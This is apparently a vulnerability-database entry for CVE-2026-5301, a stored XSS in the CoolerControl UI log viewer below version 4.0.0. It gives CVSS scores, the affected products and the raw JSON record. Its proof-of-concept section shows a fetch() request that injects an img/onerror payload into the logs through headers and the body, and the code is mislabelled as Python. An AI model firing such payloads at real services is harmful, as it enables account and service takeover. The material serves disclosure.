Security Vulnerability Report
中文
CVE-2026-5301 CVSS 7.6 HIGH

CVE-2026-5301

Published: 2026-04-08 13:16:43
Last Modified: 2026-04-16 00:47:16

Description

Stored XSS in log viewer in CoolerControl/coolercontrol-ui <4.0.0 allows unauthenticated attackers to take over the service via malicious JavaScript in poisoned log entries

CVSS Details

CVSS Score
7.6
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:H/A:L

Configurations (Affected Products)

cpe:2.3:a:coolercontrol:coolercontrold:*:*:*:*:*:*:*:* - VULNERABLE
CoolerControl/coolercontrol-ui < 4.0.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// Proof of Concept for CVE-2026-5301 // This payload demonstrates how a stored XSS vulnerability can be triggered // by injecting malicious JavaScript into the log viewer of CoolerControl < 4.0.0. // Attackers may send a request that causes the application to log this string: const xssPayload = '<img src=x onerror=alert("CVE-2026-5301_XSS")>'; // Example: Sending a request with a malicious header or body parameter // that gets reflected in the application logs. // When an administrator views the logs, the script executes. fetch('http://target-host:port/api/log-endpoint', { method: 'POST', headers: { 'Content-Type': 'application/json', 'User-Agent': xssPayload // or inject into body }, body: JSON.stringify({ data: xssPayload }) });

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-5301", "sourceIdentifier": "[email protected]", "published": "2026-04-08T13:16:43.260", "lastModified": "2026-04-16T00:47:16.257", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Stored XSS in log viewer in CoolerControl/coolercontrol-ui <4.0.0 allows unauthenticated attackers to take over the service via malicious JavaScript in poisoned log entries"}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:H/A:L", "baseScore": 7.6, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "HIGH", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 4.7}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:coolercontrol:coolercontrold:*:*:*:*:*:*:*:*", "versionEndExcluding": "4.0.0", "matchCriteriaId": "058074F8-B65C-4417-A5A1-9746DF8E3B12"}]}]}], "references": [{"url": "https://gitlab.com/coolercontrol/coolercontrol/-/blob/2.0.0/coolercontrol-ui/src/views/AppInfoView.vue?ref_type=tags#L224", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://gitlab.com/coolercontrol/coolercontrol/-/blob/3.1.1/coolercontrol-ui/src/views/AppInfoView.vue?ref_type=tags#L350", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://gitlab.com/coolercontrol/coolercontrol/-/releases/4.0.0", "source": "[email protected]", "tags": ["Release Notes"]}]}}